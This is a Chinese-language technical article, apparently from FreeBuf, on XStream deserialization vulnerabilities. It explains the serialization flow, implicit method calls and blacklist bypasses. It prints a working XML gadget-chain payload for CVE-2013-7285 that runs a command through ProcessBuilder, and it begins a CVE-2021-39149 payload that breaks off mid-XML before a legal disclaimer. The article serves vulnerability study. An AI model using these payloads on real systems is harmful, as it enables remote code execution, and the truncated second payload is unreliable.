一、XStream 基础与核心原理
1. XStream 是什么?
XStream 是 Java 中用于对象与 XML/JSON 互转的高效序列化库。其特点包括:
- 零配置:默认通过反射机制映射对象与 XML 标签,无需注解或配置文件。
- 深度序列化:支持私有字段、内部类和非公开类的序列化。
- 灵活扩展:允许自定义类型转换器(Converter)和别名配置。
2、XStream 基础序列化/反序列化示例
1. 正常使用示例
// 安全对象定义
class User {
private String username;
// 必须有无参构造器
public User() {}
// getter/setter 省略
}
// 序列化过程
XStream xstream = new XStream();
User user = new User();
user.setUsername("admin");
String xml = xstream.toXML(user);
// 输出:<User><username>admin</username></User>
// 反序列化过程
User newUser = (User)xstream.fromXML(xml);
System.out.println(newUser.getUsername()); // 输出: admin
3. 序列化与反序列化流程
XStream 的核心方法为 toXML()
和 fromXML()
,其内部流程如下:
- 序列化(
toXML()
):- 递归遍历对象树结构。
- 根据对象类型选择对应的 Converter(如
MapConverter
、TreeMapConverter
)。 - 将对象转换为 XML 元素,生成字符串。
- 反序列化(
fromXML()
):- 解析 XML 结构,识别元素对应的 Java 类型。
- 根据类型选择 Converter 重建对象实例。
- 通过反射机制填充对象属性,触发潜在的隐式方法调用(如
compareTo
、hashCode
)。
4. 漏洞根源:隐式方法调用与黑名单绕过
XStream 的反序列化漏洞本质是恶意数据构造触发非预期代码执行:
- 动态代理滥用:攻击者构造 XML 中的动态代理(
<dynamic-proxy>
),指定InvocationHandler
(如EventHandler
)在反序列化时触发invoke
方法。 - 隐式方法调用:特定数据结构(如
TreeMap
、SortedSet
)在填充数据时会自动调用compareTo
或hashCode
,结合动态代理形成攻击链。 - 防御失效:XStream 早期版本依赖黑名单机制过滤危险类,但新攻击链可绕过黑名单(如
CompositeInvocationHandlerImpl
、TemplatesImpl
)。
二、历史漏洞案例与 POC 分析
1. CVE-2013-7285(经典动态代理链)
- 漏洞原理:通过
EventHandler
动态代理触发ProcessBuilder.start()
。 - POC 结构:
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command><string>calc</string></command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
- 触发流程:
- 反序列化
sorted-set
生成TreeSet
,调用compareTo
比较元素。 - 动态代理对象实现
Comparable
接口,触发EventHandler.invoke()
。 - 执行
ProcessBuilder.start()
启动计算器。
- 反序列化
2. CVE-2021-39149(TemplatesImpl 字节码注入)
- 漏洞原理:利用
TemplatesImpl
加载恶意字节码,触发newTransformer()
实现任意代码执行。 - POC 关键结构:
<linked-hash-set>
<dynamic-proxy>
<interface>map</interface>
<handler class="com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl">
<classToInvocationHandler class="linked-hash-map"/>
<defaultHandler class="sun.tracing.NullProvider">
<probes>
<entry>
<method><class>java.lang.Object</class><name>hashCode</name></method>
<sun.tracing.dtrace.DTraceProbe>
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)